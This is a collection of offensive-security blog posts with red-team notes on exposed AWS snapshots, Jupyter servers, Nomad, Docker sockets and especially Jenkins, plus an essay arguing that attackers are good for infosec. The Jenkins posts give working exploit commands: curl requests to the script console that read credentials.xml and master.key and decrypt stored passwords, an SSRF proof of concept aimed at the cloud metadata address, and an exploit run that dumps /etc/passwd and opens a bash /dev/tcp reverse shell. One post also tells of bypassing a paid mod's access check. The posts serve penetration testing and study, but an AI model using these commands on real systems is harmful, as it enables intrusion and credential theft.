Carnal0wnage Blog
information security blog about red teaming and offensive techniques
I watched a good DEF CON video on abusing public AWS Snapshots https://www.youtube.com/watch?v=-LGR63yCTts I, of course, wanted to check this out. There are tens of thousands of public snapshots in the various regions. The talk outlines what you can do with these and Bishop Fox released a tool to do it https://github.com/BishopFox/dufflebag. I wanted to script up a few weirdAAL modules to 1) for an AWS keypair you are testing check and see what snapshots you have available 2) for an AWS accountid list public snapshots. Useful for bug bounty or for monitoring your org for public snapshots. The account you are using will need at least AmazonEC2ReadOnlyAccess privileges. Screenshot of the 2nd function below listing snapshots for a random AWS accountid You can git clone or git pull to get the updated code from https://github.com/carnal0wnage/weirdAAL If you just want to do it with the AWS CLI you can use the following shell script:
The Duality of Attackers - Or Why Bad Guys are a Good Thing™ It’s no secret I've been on a spiritual journey the last few years. I tell most people it’s fundamentally changed my life and how I look at the world. I’m also a hacker and I’m constantly thinking about how to apply metaphysical or spiritual concepts into my daily life. Because if they are true they should apply broadly and also to many aspects of our lives. One of the key things I’ve learned is that perspective drives an individual's opinion of a situation or event. Is something good? Is something bad? It all depends on the observer’s perspective of the situation. My first Battalion Commander in the Army when I was having my welcome to the unit meeting said something I've never forgotten. He said “On any given day it’s better to be a Soldier, a DA Civilian, or a Local National (I was in Belgium)”. This stuck with me ever since even though i didn't know what to call it at the time….perspective. In late 2019 the Irresponsible Open Source Tools (intentionally not linking) debate took over Infosec twitter for a few weeks. Ever since that time I've been thinking about - “Are attackers a good thing?” Not red teaming, not pentesting but straight up criminals. The real steal your shit type, not the point and laugh type, the wreck all your things, steal all the things, potentially end your business type attackers. There were several people basically stating life would be better if attackers did not exist and I wasn't so sure about this. TLDR; I think Yes, attackers are a Good™ thing or rather not a Bad™ thing because they force us to adapt and grow. Growth Through Struggle. But first, definitions: Perspective “The art of drawing solid objects on a two-dimensional surface so as to give the right impression of their height, width, depth, and position in relation to each other when viewed from a particular point.” “A particular attitude toward or way of regarding something; a point of view.” From: https://www.lexico.com/en/definition/perspective Another way to think about perspective and how everyone can have their own is that “Everything (every person, place, thing, situation, event) is fundamentally neutral - they are neutral props with no built in meaning” [1] - the observer of the situation or event gives the event meaning. The meaning we put, the meaning we assign to these neutral things completely determines the effect that we get out of them. Every situation can be viewed in many different capacities and it solely depends upon how you perceive it and the association that you create with it and your beliefs about the situation or event. I'm currently fascinated with TV Shows that tackle this subject. Lucifer and Good Omens come to mind where the idea that the "bad" guy is sometimes the good guy if you evaluate their actions and the "good" guy is the bad guy as dictated by their actions or listening to their superiors. Duality As hinted at by the word "dual" within it, duality refers to having two parts, often with opposite meanings, like the duality of good and evil. If there are two sides to a coin, metaphorically speaking, there's a duality. Peace and war, love and hate, up and down, and black and white are dualities. Another term for a duality is a dichotomy. Duality has technical meanings in geometry and physics. In geometry, duality refers to how points and planes have interchangeable roles in projective geometry. In physics, duality is the property of matter and electromagnetic radiation to be understood best through wave theory or particle theory. From: https://www.vocabulary.com/dictionary/duality “Your truth is truth, my truth is truth, but your truth is not necessarily my truth.” Understanding and being aware of duality is vital to our human experience, as it allows us to see things from ‘both sides of the coin’ and better understand ourselves and others amid the collective. Most individual’s version of ‘truth’ culminates according to their past and current experiences, social conventions, and worldly views. To put it simply, duality is the nature in which everything holds opposing truths — all of which are true — at least in a relative sense. From: https://quantumstones.com/what-is-duality-the-doorway-to-all-truths/ Buddha & The Demon - Perspective Extra Reading on Duality https://exploringyourmind.com/jekyll-and-hyde-duality-between-good-evil/ I’ll be honest, after a lifetime growing up in the United States worrying about the next foreign country boogeyman and over a decade in the Army where the primary motivation was giving soldiers someone to “hate” it’s been quite a journey to try to see things other than a binary right/wrong & good/evil, etc. The intersection and interdependence of good and evil manifested for me (and I think plenty of others) in the following way: we don’t feel we are good unless we are fighting against evil. It’s the American Way! We can feel comfortable and secure in our own goodness only by attacking and destroying the evil outside us. I was, and still am to an extent, looking for evil to vanquish. This interdependence is at the core of Infosec. Without APT groups, criminals, malware, and every other form of virtual boogeyman (aka “the other(s)” or “the bad guys”) most of us have no reason for our Infosec existence. Thinking of everything as fundamentally neutral has helped me drop some, but not all, of my old vocabulary and has given me space to pause and to think about how I feel about issues at a micro level and macro level. Taking that pause allows me to understand that my perspective on the situation is entirely what matters and that another person could have a TOTALLY different perspective on the situation (and Infosec twitter shows me...quite frequently does). Criminals, Attackers, Bad People, etc and their actions can have a multitude of perspectives. Take a company that gets compromised so badly they go out of business. From the perspective of the company CEO this is BAD. From another perspective, perhaps of a competing company CEO, this is GOOD, from the perspective of the attacker they got what they wanted so (GOOD) perhaps a bonus is coming, perhaps their family gets to eat or maybe they just get another BTC in their nano ledger. In-house defenders have “failed their mission” and now are out of work or maybe this was the event that finally prompted management to spend that money they’ve been asking for. Perhaps their failures were so embarrassing they have made it by name in tech-crunch articles and their careers may be over or at least paused. Perhaps they “lost” but their response was good enough that the general public thinks things are ok inside the company anyway. For Infosec, I’m going to make the case that attackers are GOOD; at least from my perspective (as every opinion piece is). But, I’ll attempt to lay out bullet points for rationale for my current perspective. The following can be summed as “Growth through struggle”: Attackers force defenders to consistently up their game. Attackers constantly innovate to get around the current detection techniques and technologies. Attackers force Red Teams to up their game to keep up with their TTPs. Defenders force attackers and Red Teams to up their game to keep up with current defenses. Without virtual cyber boogeymen a 100+ billion dollar industry would sell less product and be required to innovate less. Attackers force visibility into their politics and perspectives through the investigations into their motivations and TTPs. They give a large portion of Infosec a “purpose”. I’ve dedicated the last 20 years of my life in various verticals of IT to “keep bad guys out” and I'm positive I'm not alone. If you’ve made it this far. Thank you! I realize the title is a bit click-baity and not really in line with the idea of duality or perspective but no one would have read “attackers are fundamentally neutral.” Although my hope is that are open to exploring that perspective now. I welcome your thoughts on the subject. CG
BugBounty story #bugbountytips reported 21 Oct 2019 validated at Critical 23 Oct 2019 validated as fixed 30 Oct 2019 Bounty amount stated (IDR 10.000.000 = ~700 USD) 12 Nov 2019 Information provided for payment 16 Nov 2019 13 March 2020 - Never paid - blog post posted 19 March 2020 - received bounty of $565.86 Shell as a Service. Jupyter Notebook is one of these with its running code feature as well as its terminal functionality. Tokopedia. This wasn't obvious at first , but it will become clear how I identified this as you check out the screenshots. Open Jupyter notebook server I did a post on what do do when you find a GCP key in a previous post When you leave your service token in the folder for all to find/use In this case it was base64 encoded - but easy to fix service account token b64 decoded It was also in the error output of one of the jupyter notebooks [+] Bigquery access [+] bq ls --format=prettyjson --project_id tokopedia-970 Dat billing table yo I love payments tables Along the way I searched who this company was. https://en.wikipedia.org/wiki/Tokopedia Most interestingly... In 2017, Tokopedia received $1.1 billion investment from Chinese e-commerce giant Alibaba.[7] Again in 2018, the company secured $1.1 billion funding round led by Chinese e-commerce giant Alibaba Group Holding and Japan's SoftBank Group[8] putting its valuation to about $7B.[9] Solutions: Run in a limited privilege container (doesn't protect against cloud metadata attack) New versions of Juypter notebook allow for password protecting access. Do that instead of open to all
"Nomad is a flexible container orchestration tool that enables an organization to easily deploy and manage any containerized or legacy application using a single, unified workflow. Nomad can run a diverse workload of Docker, non-containerized, microservice, and batch applications, and generally offers the following benefits to developers and operators..." https://www.nomadproject.io/intro/index.html Will Butler for letting me write this up after watching him pwn it. https://www.nomadproject.io/intro/getting-started/install.html https://gist.github.com/carnal0wnage/ce4296137414bd16fcca0818208b39b7 https://gist.github.com/carnal0wnage/4abde0ee31f4d730019e6fa04ef6d3b6 https://gist.github.com/carnal0wnage/a4399019a943862e57283c29994ce5da $ nomad job run example.nomad ==> Monitoring evaluation "ac9b4b08" Evaluation triggered by job "example" Evaluation within deployment: "8a7dfe0f" Allocation "57e65abe" created: node "a15034e5", group "cache" Evaluation status changed: "pending" -> "complete" ==> Evaluation "ac9b4b08" finished with status "complete" Leveraging misconfiguration time. Nomad ships with a raw_exec option that is disabled by default. ref: https://www.nomadproject.io/docs/drivers/raw_exec.html the raw_exec option allow you to run a command outside isolation on the nomad host. "The raw_exec driver can run on all supported operating systems. For security reasons, it is disabled by default. To enable raw exec, the Nomad client configuration must explicitly enable the raw_exec driver in the client's options:" or by hitting the API endpoint We need to create a job hcl file with our commands. Here is gist with a simple one: https://gist.github.com/carnal0wnage/25b391126dadefe0a9523fb421bf8f33 OK let's get a reverse shell. I used the following hcl file: https://gist.github.com/carnal0wnage/4a436a8dc0dcb142a8c836e48916dd71 -CG https://www.nomadproject.io/guides/security/acl.html
After yesterday's post, I received a ton of interesting and creative responses regarding how to get around the mod's restrictions which is what I love about our community. Mubix was the first person to reach out and suggest hijacking calls to Pastebin using /etc/hosts (which I did try but was having some wonky behavior with OSX) and there were other suggestions as well with regards to hijacking DNS and pretending to be the site (Pastebin). Matt Langlois. He had an idea for a better workaround. One that didn't require proxying web traffic or for you to even be connected to the internet. He decided to override the code that checks the list of allowed users and inject our UUID into that list. It works beautifully but rather than try to explain the details in this blog post, I suggest you visit his blog post to check out the details. go check out the blog post!
Over the weekend my wife was feeling under the weather. This meant we were stuck indoors and since she is sick and it's Mother's day weekend - less than ideal situation - I needed to keep my son as occupied as possible so she could rest and recuperate. SuperHeroesBetaTesterChecker.getList() https://mcuuid.net/. quick solution. This is where Burp came into play. Here is what I did. Note that I have not given detailed instructions on those above 4 steps because... there are already tons of tutorials out there if you're not already familiar with Burp & proxying web traffic. Let's summarize. We paid $5, and we got told we still needed special permission to use this mod. Didn't sit well, wanted to get this working, and figured I could teach my son a little bit about computers/hacking. Now, did I email the creator of the mod? Yes, in fact I let them know what I found and the workaround. Was very upfront about that. Also provided usernames in case the creator did feel like adding them (though I doubt he's feeling super generous). But we had some fun, learned a little, and got to use the mod. Having said all that, if you're in a position to donate even a few bucks for software that someone spends a good chunk of their time writing, I'd say do it. But if they don't deliver as promised... put on your hacker hat :-).
second exploit from the blog post https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html Chained with CVE-2018-1000600 to a Pre-auth Fully-responded SSRF https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915 This affects the GitHub plugin that is installed by default. However, I learned that when you spin up a new jenkins instance it pulls all the updated plugins (also by default) I'm honestly not sure how often people set update to latest plugin on by default but it does seem to knock down some of this stuff. exploit works against: GitHub Plugin up to and including 1.29.1 When i installed Jenkins today (25 Feb 19) it installed 1.29.4 by default thus the below does NOT work. From the blog post: CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials It can extract any stored credentials with known credentials ID in Jenkins. But the credentials ID is a random UUID if there is no user-supplied value provided. So it seems impossible to exploit this?(Or if someone know how to obtain credentials ID, please tell me!) Although it can’t extract any credentials without known credentials ID, there is still another attack primitive - a fully-response SSRF! We all know how hard it is to exploit a Blind SSRF, so that’s why a fully-responded SSRF is so valuable! PoC: http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword ?apiUrl=http://169.254.169.254/%23 &login=orange &password=tsai To get old versions of the plugin and info you can go to https://wiki.jenkins.io/display/JENKINS/GitHub+Branch+Source+Plugin download old versions https://updates.jenkins.io/download/plugins/github-branch-source/ https://updates.jenkins.io/download/plugins/github/
References: https://www.exploit-db.com/exploits/46453 http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html This post covers the Orange Tsai Jenkins pre-auth exploit Vuln versions: Jenkins < 2.137 (preauth) Pipeline: Declarative Plugin up to and including 1.3.4 Pipeline: Groovy Plugin up to and including 2.61 Script Security Plugin up to and including 1.49 (in CG's testing 1.50 is also vuln) The exploitdb link above lists a nice self contained exploit that will compile the jar for you and serve it up for retrieval by the vulnerable Jenkins server. nc -l 8888 -vv whoami bash: no job control in this shell bash-3.2$ jenkins After Jenkins 2.138 the preauth is gone but if you have an overall read token and the plugins are still vulnerable you can still exploit that server. You can just add your cookie to the script and it will hit the url with your authenticated cookie and you can still exploit the server.
While doing some research I found several posts on stackoverflow asking how to identify the IP address of nodes. You might want to know this if you read the decrypting credentials post and managed to get yourself some ssh keys for nodes but you cant actually see the node's IP in the Jenkins UI. Stackoverflow link: https://stackoverflow.com/questions/14930329/finding-ip-of-a-jenkins-node blog on setting up a node: https://embeddedartistry.com/blog/2017/12/22/jenkins-configuring-a-linux-slave-node There are great answers in the stackoverflow post on using the script console but in the event you found yourself with just the Jenkins directory or no access to the script console it's pretty easy to get this information. You can just browse to jenkins-ip/computer/$nodename/config.xml. This request will require the extended read permission. Optionally if you are on the box or have a backup you can go to jenkins-dir/nodes/$nodename/config.xml
If you find yourself on a Jenkins box with script console access you can decrypt the saved passwords in credentials.xml in the following way: hashed_pw='$PASSWORDHASH' passwd = hudson.util.Secret.decrypt(hashed_pw) println(passwd) You need to perform this on the the Jenkins system itself as it's using the local master.key and hudson.util.Secret Screenshot below Code to get the credentials.xml from the script console Windows def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'cmd.exe /c type credentials.xml'.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" *nix def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'cat credentials.xml'.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" If you just want to do it with curl you can hit the scriptText endpoint and do something like this: Windows: curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run" Also because this syntax took me a minute to figure out for files in subdirectories: curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run *nix curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run" Then to decrypt any passwords: curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=println(hudson.util.Secret.fromString('7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=').getPlainText())" If you are in a position where you have the files but no access to jenkins you can use: https://github.com/tweksteen/jenkins-decrypt There is a small bug in the python when it does the regex and i havent bothered to fix it at the time of this post. But here is version where instead of the regex i'm just printing out the values and you can see the decrypted password. The change is line 55. Edit 4 March 19: the script only regexs for password (line 72), you might need to swap out the regex if there are ssh keys or other secrets...read the credentials.xml file :-) Edit 8 April 19: This tweet outlines another similar way https://twitter.com/netmux/status/1115237815590236160 p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 13.0px Monaco; color: #f2f2f2; background-color: #000000} span.s1 {font-variant-ligatures: no-common-ligatures}
Forced API token change SECURITY-180/CVE-2015-1814 https://jenkins.io/security/advisory/2015-03-23/#security-180cve-2015-1814-forced-api-token-change Affected Versions All Jenkins releases <= 1.605 All LTS releases <= 1.596.1 PoC Tested against Jenkins 1.605 Burp output Validate new token works
API tokens of other users available to admins SECURITY-200 / CVE-2015-5323 API tokens of other users were exposed to admins by default. On instances that don’t implicitly grant RunScripts permission to admins, this allowed admins to run scripts with another user’s credentials. Affected versions All Jenkins main line releases up to and including 1.637 All Jenkins LTS releases up to and including 1.625.1 PoC Tested against Jenkins 1.6.37 From the script console: run some groovy code to get the token of another user wrong token correct token p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 13.0px Monaco; color: #f2f2f2; background-color: #000000} span.s1 {font-variant-ligatures: no-common-ligatures}
A collection of posts on attacking Jenkins http://www.labofapenetrationtester.com/2014/08/script-execution-and-privilege-esc-jenkins.html Manipulating build steps to get RCE https://medium.com/@uranium238/shodan-jenkins-to-get-rces-on-servers-6b6ec7c960e2 Using the terminal plugin to get RCE https://sharadchhetri.com/2018/12/02/managing-jenkins-plugins/ Getting started with Jenkins Plugins https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html Vulns in Pipeline: Declarative Plugin up to and including 1.3.4 Pipeline: Groovy Plugin up to and including 2.61 Script Security Plugin up to and including 1.49 Blog post says: This issue has been fixed in Jenkins version 2.121.1 LTS (2.132 weekly). http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html CVE-2019-1003000 (https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266) https://github.com/Coalfire-Research/java-deserialization-exploits/tree/master/Jenkins https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream CVE-2015-8103 & CVE-2016-0792 https://github.com/nixawk/labs/tree/master/CVE-2017-1000353 https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353 https://www.twistlock.com/2017/06/18/jenkins-java-deserialization/ CVE-2017-1000353 PoC https://cloud.tencent.com/developer/article/1165414 https://github.com/anntsmart/CVE CVE-2018-1999002 (windows) Arbitrary file read A arbitrary file read vulnerability exists in Jenkins 2.132 and earlier, 2.121.1 and earlier in the Stapler web framework. Under Windows, directories that don't exist can be traversed by ../, but not for Linux. Then this vulnerability can be read by any file under Windows. Under Linux, you need to have a directory with _ in the Jenkins plugins directory. https://www.crowdstrike.com/blog/your-jenkins-belongs-to-us-now-abusing-continuous-integration-systems/ https://www.n00py.io/2017/01/compromising-jenkins-and-extracting-credentials/ Decrypting credentials.xml https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/ Jenkins, windows, powershell https://securitynews.sonicwall.com/xmlpost/jenkins-ci-server-at-risk-high-risk-vulnerbaility/ https://www.zdnet.com/article/thousands-of-jenkins-servers-will-let-anonymous-users-become-admins/ https://www.cyberark.com/threat-research-blog/tripping-the-jenkins-main-security-circuit-breaker-an-inside-look-at-two-jenkins-security-vulnerabilities/ CVE-2018-1999001 malformed request moves the config.xml file, after restart anyone can log in - couple it with a DoS (CVE-2018-1999043) to force restart Jenkins weekly up to and including 2.132 Jenkins LTS up to and including 2.121.1 CG Posts: https://carnal0wnage.attackresearch.com/2019/02/jenkins-messing-with-new-exploits-pt1.html Username enumeration Jenkins 2.137 and below https://carnal0wnage.attackresearch.com/2019/02/jenkins-security-200-cve-2015-5323-poc.html Jenkins - SECURITY-200 / CVE-2015-5323 PoC (API tokens of other users available to admins) https://carnal0wnage.attackresearch.com/2019/02/jenkins-security-180cve-2015-1814-poc.html Jenkins - SECURITY-180/CVE-2015-1814 PoC (Forced Token Change) https://carnal0wnage.attackresearch.com/2019/02/jenkins-decrypting-credentialsxml.html Decrypting Jenkins credentials.xml https://carnal0wnage.attackresearch.com/2019/03/jenkins-cve-2018-1000600-poc.html Jenkins - CVE-2018-1000600 SSRF in GitHub plugin https://carnal0wnage.attackresearch.com/2019/02/jenkins-messing-with-exploits-pt2-cve.html Jenkins - CVE-2019-1003000 Pt 1 https://carnal0wnage.attackresearch.com/2019/03/jenkins-messing-with-exploits-pt3-cve.html Jenkins - CVE-2019-1003000 Pt 2 - Orange Tsai exploit https://carnal0wnage.attackresearch.com/2019/03/jenkins-identify-ip-addresses-of-nodes.html Jenkins - Identify IP Addresses of nodes
After the release of Orange Tsai's exploit for Jenkins. I've been doing some poking. PreAuth RCE against Jenkins is something everyone wants. While not totally related to the blog post and tweet the following exploit came up while searching. What I have figured out that is important is the plug versions as it relates to these latest round of Jenkins exploits. TBH I never paid much attention to the plugins in the past as the issues have been with core Jenkins (as was the first blog post) but you can get a look at them by going to jenkins-server/pluginManager/installed Jenkins plugin manager It does require admin permissions or you get this: No permissions for Jenkins plugin manager If you do have permissions you can also hit it with the jenkins-cli client and pull the info $ java -jar jenkins-cli.jar -s http://10.0.0.166:8080/ -auth admin:admin list-plugins jsch JSch dependency plugin 0.1.55 structs Structs Plugin 1.17 apache-httpcomponents-client-4-api Apache HttpComponents Client 4.x API Plugin 4.5.5-3.0 mailer Mailer Plugin 1.23 command-launcher Command Agent Launcher Plugin 1.3 workflow-api Pipeline: API 2.33 workflow-job Pipeline: Job 2.31 ssh-credentials SSH Credentials Plugin 1.14 authentication-tokens Authentication Tokens API Plugin 1.3 workflow-cps-global-lib Pipeline: Shared Groovy Libraries 2.13 jackson2-api Jackson 2 API Plugin 2.9.8 pipeline-stage-tags-metadata Pipeline: Stage Tags Metadata 1.3.4.1 pipeline-milestone-step Pipeline: Milestone Step 1.3.1 credentials Credentials Plugin 2.1.18 lockable-resources Lockable Resources plugin 2.4 jquery-detached JavaScript GUI Lib: jQuery bundles (jQuery and jQuery UI) plugin 1.2.1 workflow-scm-step Pipeline: SCM Step 2.7 matrix-auth Matrix Authorization Strategy Plugin 2.3 matrix-project Matrix Project Plugin 1.13 pipeline-stage-step Pipeline: Stage Step 2.3 pipeline-build-step Pipeline: Build Step 2.7 pipeline-input-step Pipeline: Input Step 2.9 bouncycastle-api bouncycastle API Plugin 2.17 handlebars JavaScript GUI Lib: Handlebars bundle plugin 1.1.1 momentjs JavaScript GUI Lib: Moment.js bundle plugin 1.1.1 plain-credentials Plain Credentials Plugin 1.5 docker-commons Docker Commons Plugin 1.13 git-client Git client plugin 2.7.6 pipeline-rest-api Pipeline: REST API Plugin 2.10 workflow-basic-steps Pipeline: Basic Steps 2.14 credentials-binding Credentials Binding Plugin 1.17 (1.18) pipeline-stage-view Pipeline: Stage View Plugin 2.10 workflow-multibranch Pipeline: Multibranch 2.20 script-security Script Security Plugin 1.49 (1.53) git-server GIT server Plugin 1.7 workflow-step-api Pipeline: Step API 2.19 pipeline-graph-analysis Pipeline Graph Analysis Plugin 1.9 pipeline-model-api Pipeline: Model API 1.3.4.1 workflow-cps Pipeline: Groovy 2.61 (2.63) branch-api Branch API Plugin 2.1.2 jdk-tool JDK Tool Plugin 1.2 cloudbees-folder Folders Plugin 6.7 durable-task Durable Task Plugin 1.29 junit JUnit Plugin 1.27 scm-api SCM API Plugin 2.3.0 ace-editor JavaScript GUI Lib: ACE Editor bundle plugin 1.1 display-url-api Display URL API 2.3.0 workflow-support Pipeline: Supporting APIs 3.2 AFAIK you cant enumerate plugins installed and their version without (elevated) authentication like you can with things like WordPress. If you know how, please let me know. For the time being i guess it's just throwing things to see what sticks. As I mentioned, the latest particular vulns are issues with installed Jenkins plugins. Taking a look at CVE-2019-1003000 (https://nvd.nist.gov/vuln/detail/CVE-2019-1003000) we can see that it affects the Script Security Plugin (the nist.gov says 2.49 but it's a typo and should be 1.49) as seen on the Jenkins advisory https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266 An exploit for the issue exists and is available here: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc it even comes with a docker config to spin up a vulnerable version to try it out on. What's important about this particular exploit is that it IS post auth but it doesn't require script permissions, only Overall/Read permission and Job/Configure permissions. I'm seeing more and more servers/admins (rightfully) block access to the script & scriptText console because it's well documented that is an immediate RCE. no script permission I encourage you to read the whole readme file in the repo but the most important part is here: A flaw was found in Pipeline: Declarative Plugin before version 1.3.4.1, Pipeline: Groovy Plugin before version 2.61.1 and Script Security Plugin before version 1.50 This PoC is using a user with Overall/Read and Job/Configure permission to execute a maliciously modified build script in sandbox mode, and try to bypass the sandbox mode limitation in order to run arbitrary scripts (in this case, we will execute system command). As a background, Jenkins's pipeline build script is written in groovy. This build script will be compiled and executed in Jenkins master or node, containing definition of the pipeline, e.g. what to do in slave nodes. Jenkins also provide the script to be executed in sandbox mode. In sandbox mode, all dangerous functions are blacklisted, so regular user cannot do anything malicious to the Jenkins server. Running the exploit: python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd" [+] connecting to jenkins... [+] crafting payload... [+] modifying job with payload... [+] putting job build to queue... [+] waiting for job to build... [+] restoring job... [+] fetching output... [+] OUTPUT: Started by user User 1 Running in Durability level: MAX_SURVIVABILITY [Pipeline] echo root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/bin/sh man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin postgres:x:70:70::/var/lib/postgresql:/bin/sh cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash [Pipeline] End of Pipeline Finished: SUCCESS you can certainly pull a reverse shell from it as well. python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/10.0.0.16/4444 0>&1" [+] connecting to jenkins... [+] crafting payload... [+] modifying job with payload... [+] putting job build to queue... [+] waiting for job to build... [+] restoring job... [+] fetching output... [+] OUTPUT: Started by user User 1 Running in Durability level: MAX_SURVIVABILITY and you get: nc -l 4444 -vv bash: cannot set terminal process group (7): Not a tty bash: no job control in this shell bash-4.4$ bash-4.4$ bash-4.4$ whoami whoami jenkins bash-4.4$ The TLDR is you can use this exploit to get a shell if an older version of the Script Security Plugin is installed and if you have Overall/Read permission and Job/Configure permission which a regular Jenkins user is more inclined to have and this exploit doesn't require using the script console.
Jenkins notes for: https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html to download old jenkins WAR files http://updates.jenkins-ci.org/download/war/ 1st bug in the blog is a username enumeration bug in Jenkins weekly up to and including 2.145 Jenkins LTS up to and including 2.138.1 From the blog: Pre-auth User Information Leakage While testing Jenkins, it’s a common scenario that you want to perform a brute-force attack but you don’t know which account you can try(a valid credential can read the source at least so it’s worth to be the first attempt). In this situation, this vulnerability is useful!Due to the lack of permission check on search functionality. By modifying the keyword from a to z, an attacker can list all users on Jenkins! PoC: http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword] /securityRealm/user/admin/search/index?q=a /securityRealm/user/admin/search/index?q=c ALERT Even though the advisory says 2.138_1 i tested against 2.138 and the exploit doesn't work. SOOOOO you are looking for Jenkins <= 2.137 If jenkins is really old the above should work and also https://nvd.nist.gov/vuln/detail/CVE-2017-1000395 where you can get the email address via similar query. versions up to (including) 2.73.1 versions up to (including) 2.83 PoC: http://jenkins.local/securityRealm/user/admin/api/xml with 2.137 you can get username/id /securityRealm/user/cg/api/xml
Notes on abusing open Docker sockets This wont cover breaking out of docker containers Ports: usually 2375 & 2376 but can be anything Refs: https://blog.sourcerer.io/a-crash-course-on-docker-learn-to-swim-with-the-big-fish-6ff25e8958b0 https://www.slideshare.net/BorgHan/hacking-docker-the-easy-way https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html https://blog.secureideas.com/2018/08/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-2.html https://infoslack.com/devops/exploring-docker-remote-api https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence_wp.pdf https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/ https://cert.litnet.lt/2016/11/owning-system-through-an-exposed-docker-engine/ https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124 https://www.exploit-db.com/exploits/42356 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/docker_daemon_tcp.rb http://blog.nibblesec.org/2014/09/abusing-dockers-remote-apis.html https://www.prodefence.org/knock-knock-docker-will-you-let-me-in-open-api-abuse-in-docker-containers/ https://blog.ropnop.com/plundering-docker-images/ Enable docker socket (Create practice locations) https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd Having the docker API | socket exposed is essentially granting root to any of the containers on the system The daemon listens on unix:///var/run/docker.sock but you can bind Docker to another host/port or a Unix socket. The docker socket is the socket the Docker daemon listens on by default and it can be used to communicate with the daemon from within a container, or if configured, outside the container against the host running docker. All the docker socket magic is happening via the docker API. For example if we wanted to spin up an nginx container we'd do the below: Create a nginx container The following command uses curl to send the {“Image”:”nginx”} payload to the /containers/create endpoint of the Docker daemon through the unix socket. This will create a container based on Nginx and return its ID. $ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 